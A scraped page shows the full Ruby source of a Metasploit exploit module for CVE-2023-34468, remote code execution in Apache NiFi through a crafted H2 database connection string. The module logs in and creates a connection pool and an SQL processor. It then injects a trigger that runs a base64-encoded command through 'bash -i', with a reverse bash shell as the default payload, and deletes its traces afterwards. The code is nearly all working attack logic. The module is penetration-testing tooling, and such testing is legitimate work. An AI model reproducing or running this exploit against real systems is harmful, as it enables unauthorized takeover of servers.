Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_nifi_h2_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HTTP::Nifi1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',17'Description' => %q{18The DBCPConnectionPool and HikariCPConnectionPool Controller Services in19Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user20to configure a Database URL with the H2 driver that enables custom code execution.2122This exploit will result in several shells (5-7).23Successfully tested against Apache nifi 1.17.0 through 1.21.0.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'Matei "Mal" Badanoiu' # discovery29],30'References' => [31['CVE', '2023-34468'],32['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],33['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],34['URL', 'https://nifi.apache.org/security.html#1.22.0'],35# not many h2 references on the Internet, especially for nifi, so leaving this here36# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']37# ['URL', 'http://www.h2database.com/html/features.html']38],39'DisclosureDate' => '2023-06-12',40'DefaultOptions' => { 'RPORT' => 8443 },41'Platform' => %w[unix],42'Arch' => [ARCH_CMD],43'Targets' => [44[45'Unix (In-Memory)',46{47'Type' => :unix_memory,48'Payload' => { 'BadChars' => '"' },49'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }50}51],52],53'Privileged' => false,54'DefaultTarget' => 0,55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION],58'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]59}60)61)62register_options(63[64OptString.new('TARGETURI', [true, 'The base path', '/']),65OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])66],67self.class68)69end7071def configure_dbconpool72# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them73b64_pe = ::Base64.strict_encode64(payload.encoded)74equals_count = b64_pe.count('=')75if equals_count > 076b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)77end7879if @version > Rex::Version.new('1.16.0')80# 1.17.0-1.21.081driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'82else83# 1.16.084driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'85end8687body = {88'disconnectedNodeAcknowledged' => false,89'component' => {90'id' => @db_con_pool,91'name' => @db_con_pool_name,92'bulletinLevel' => 'WARN',93'comments' => '',94'properties' => {95# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R3896# we can use a random db name here, the file is created automatically97# XXX would mem work too?98'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",99'Database Driver Class Name' => 'org.h2.Driver',100# This seems to be installed by default, do we need the location?101'database-driver-locations' => driver,102"Max Total Connections": '1' # prevents us from getting multiple callbacks103},104'sensitiveDynamicPropertyNames' => []105},106'revision' => {107'clientId' => 'x',108'version' => 0109}110}111opts = {112'method' => 'PUT',113'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),114'ctype' => 'application/json',115'data' => body.to_json116}117opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token118res = send_request_cgi(opts)119fail_with(Failure::Unreachable, 'No response received') if res.nil?120fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200121end122123def configure_processor124vprint_status("Configuring processor #{@processor}")125body = {126# "disconnectedNodeAcknowledged"=> false,127'component' => {128'id' => @processor,129'name' => Rex::Text.rand_text_alphanumeric(6..10),130'bulletinLevel' => 'WARN',131'comments' => '',132'config' => {133'autoTerminatedRelationships' => ['failure', 'success'],134'bulletinLevel' => 'WARN',135'comments' => '',136'concurrentlySchedulableTaskCount' => '1',137'executionNode' => 'ALL',138'penaltyDuration' => '30 sec',139'retriedRelationships' => [],140'schedulingPeriod' => '0 sec',141'schedulingStrategy' => 'TIMER_DRIVEN',142'yieldDuration' => '1 sec',143'state' => 'STOPPED',144'properties' => {145'Database Connection Pooling Service' => @db_con_pool,146'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank147}148}149},150'revision' => {151'clientId' => 'x',152'version' => 1 # needs to be 1 since we had 0 before153}154}155opts = {156'method' => 'PUT',157'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),158'ctype' => 'application/json',159'data' => body.to_json160}161opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token162res = send_request_cgi(opts)163fail_with(Failure::Unreachable, 'No response received') if res.nil?164fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200165end166167def check168# see apache_nifi_processor_rce check method for details on why this is difficult169170@cleanup_required = false171172login_type = supports_login?173174return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?175176if login_type177@version = get_version178return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?179180if @version <= Rex::Version.new('1.21.0')181return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")182end183184CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")185else186CheckCode::Appears('Apache NiFi instance does not support logins')187end188end189190def validate_config191if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?192fail_with(Failure::BadConfig,193'Authentication is required. Bearer-Token or Username and Password must be specified')194end195end196197def cleanup198super199return unless @cleanup_required200201# Wait for thread to execute - This seems necesarry, especially on Windows202# and there is no way I can see of checking whether the thread has executed203print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")204sleep(datastore['DELAY'])205206# Stop Processor207stop_processor(@token, @processor)208vprint_good("Stopped and terminated processor #{@processor}")209210# Delete processor211delete_processor(@token, @processor, 3)212vprint_good("Deleted processor #{@processor}")213begin214stop_dbconnectionpool(@token, @db_con_pool)215rescue DBConnectionPoolError216fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')217end218vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")219sleep(datastore['DELAY'])220begin221delete_dbconnectionpool(@token, @db_con_pool)222rescue DBConnectionPoolError223fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')224end225vprint_good("Deleted db connection pool #{@db_con_pool}")226end227228def exploit229# Check whether login is required and set/fetch token230if supports_login?231validate_config232@token = if datastore['BEARER-TOKEN'].to_s.empty?233retrieve_login_token234else235datastore['BEARER-TOKEN']236end237fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?238else239@token = nil240end241242if @version.nil?243@version = get_version244end245246# Retrieve root process group247@process_group = fetch_root_process_group(@token)248fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?249vprint_good("Retrieved process group: #{@process_group}")250251@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)252begin253@db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)254rescue DBConnectionPoolError255fail_with(Failure::UnexpectedReply,256'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')257end258259@cleanup_required = true260261# Create processor in root process group262@processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')263vprint_good("Created processor #{@processor} in process group #{@process_group}")264configure_processor265vprint_good("Configured processor #{@processor}")266configure_dbconpool267vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")268begin269start_dbconnectionpool(@token, @db_con_pool)270rescue DBConnectionPoolError271fail_with(Failure::UnexpectedReply,272'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')273end274vprint_good('Enabled db connection pool')275begin276start_processor(@token, @processor)277rescue ProcessorError278fail_with(Failure::UnexpectedReply,279'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')280end281282vprint_good('Started processor')283end284end285286287